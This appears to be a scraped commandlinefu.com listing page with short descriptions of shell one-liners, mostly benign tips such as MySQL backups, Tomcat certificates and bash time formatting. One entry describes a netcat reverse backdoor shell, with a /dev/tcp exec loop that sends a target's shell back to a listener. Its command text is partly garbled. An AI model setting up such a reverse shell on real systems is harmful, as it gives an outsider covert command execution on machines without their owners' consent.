All commands (14,187)

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

backup local MySQL database into a folder and removes older then 5 days backups

Bind a key with a command
Now type Ctrl-l and it will list all files

Create a self-signed certificate for Apache Tomcat
Must be run as root. The 'tomcat' user must have access to the .keystore file. The key and keystore passwords must be the same. The password must be entered into the server.xml config file for Tomcat.

Use a var with more text only if it exists
See "Parameter Expansion" in the bash manpage. They refer to this as "Use Alternate Value", but we're including the var in the at alternative.

Reduce PDF Filesize

Install pip with Proxy
Installs pip packages defining a proxy

Convert seconds to [DD:][HH:]MM:SS
Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

stop man page content from disappearing on exit
stop man page content from disappearing on exit echo "export LESS='FiX'" >> ~/.bashrc man bash 'q'uit out of man page content will stay on screen

Perl Command Line Interpreter
My Programming Languages professor assigned my class a homework assignment where we had to write a Perl interpreter using Perl. I really like Python's interactive command line interpreter which inspired this Perl script.

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: